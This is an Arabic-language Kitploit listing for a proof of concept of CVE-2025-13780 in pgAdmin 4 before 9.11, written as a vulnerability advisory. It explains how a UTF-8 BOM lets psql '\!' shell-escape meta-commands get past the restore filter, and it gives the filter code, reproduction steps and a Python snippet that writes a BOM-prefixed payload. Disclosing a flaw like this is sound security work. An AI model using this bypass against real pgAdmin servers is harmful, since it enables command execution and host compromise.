Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
pgadmin4-9.10-CVE-2025-13780 — Proof of concept for CVE-2025-13780 | Kitploit
أدوات/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

Proof of concept for CVE-2025-13780

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
141منذ 8 أشهرلم تتم المراجعة بعد

pgadmin4 < 9.11 تنفيذ أوامر عبر فلتر الأوامر الوصفية

ملخص

لا يكتشف فلتر الأوامر الوصفية الخاص بالاستعادة بنمط PLAIN، الذي أُدخل في pgAdmin كجزء من إصلاح المشكلة Issue 9320، الأوامر الوصفية عندما يبدأ ملف SQL بعلامة ترتيب البايتات UTF-8 (EF BB BF) أو بتسلسلات خاصة أخرى. يستخدم الفلتر المنفَّذ الدالة has_meta_commands()، التي تفحص البايتات الخام باستخدام تعبير نمطي. لا يتعامل التعبير النمطي مع هذه البايتات على أنها قابلة للتجاهل، لذلك تظل الأوامر الوصفية مثل ! غير مكتشفة. عندما يستدعي pgAdmin أداة psql مع الخيار --file، تقوم psql بإزالة هذه البايتات وتنفيذ الأمر. وقد يؤدي ذلك إلى تنفيذ أوامر عن بُعد أثناء عملية الاستعادة.

يؤثر هذا التجاوز على التصحيح المقدَّم في commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

الإصدارات المتأثرة

المتأكد تأثرها:

  • pgAdmin 9.10 snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

المرجح تأثرها:

  • أي إصدار يحتوي على الدالة المصححة has_meta_commands() من commit 1d397395f75320ca1d4ed5e9ca721c603415e836

التخفيف

  • 9.11+: يتم تشغيل عمليات الاستعادة بنمط plain في الوضع المقيد (\restrict) لأداة psql، لذا أصبحت الأوامر الوصفية محظورة بواسطة psql نفسها
  • 9.10: معرّض لتجاوز الفلتر.

التفاصيل

الموقع:

  • `web/pgadmin/tools/restore/init.py
  • الدالة has_meta_commands()

الكود ذو الصلة (من الإصدار المصحح):

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

السبب الجذري:

  1. تُفتح ملفات SQL في الوضع الثنائي.
  2. يتعامل التعبير النمطي مع المسافات وعلامات التبويب فقط على أنها قابلة للتجاهل قبل الخط المائل العكسي.
  3. علامة ترتيب البايتات UTF-8 (EF BB BF) أو تسلسل مشابه موضوعة قبل الخط المائل العكسي تمنع الاكتشاف.
  4. يستنتج pgAdmin بشكل غير صحيح أن الملف لا يحتوي على أوامر وصفية.
  5. تزيل psql علامة BOM عند القراءة وتنفذ الأمر الوصفي بشكل طبيعي.

السلوك المتوقع:

  • يجب حظر ملفات SQL التي تحتوي على أوامر وصفية بغض النظر عن وجود BOM.

السلوك الفعلي:

  • الأوامر الوصفية المسبوقة بـ BOM تتجاوز الفلتر وتسمح بالتنفيذ.

خطوات إعادة الإنتاج

الخطوة 1: أنشئ ملف SQL يبدأ بـ BOM وأمر وصفي.

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

الخطوة 2: تحقق من BOM:

root@kitploit:~
xxd bypass_bom.sql | head -1

المتوقع:

root@kitploit:~
ef bb bf 5c 21 ...

الخطوة 3: ضع الملف في تخزين pgAdmin:

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

الخطوة 4: في pgAdmin: الاستعادة -> التنسيق: PLAIN -> حدد bypass_bom.sql -> تشغيل

الخطوة 5: تحقق من التنفيذ:

root@kitploit:~
ls /tmp/bom_ran

يتم حظر ملف التحكم (الذي لا يحتوي على BOM) بشكل صحيح.

إثبات المفهوم (PoC)

الحمولة المسبوقة بـ BOM:

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

الحمولة الضابطة:

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

الأثر

  • تنفيذ أوامر عبر الأوامر الوصفية.
  • قراءة/كتابة ملفات تعسفية.
  • اختراق كامل لمضيف pgAdmin.
  • احتمال اختراق خوادم PostgreSQL المتصلة.
تنزيل الأداة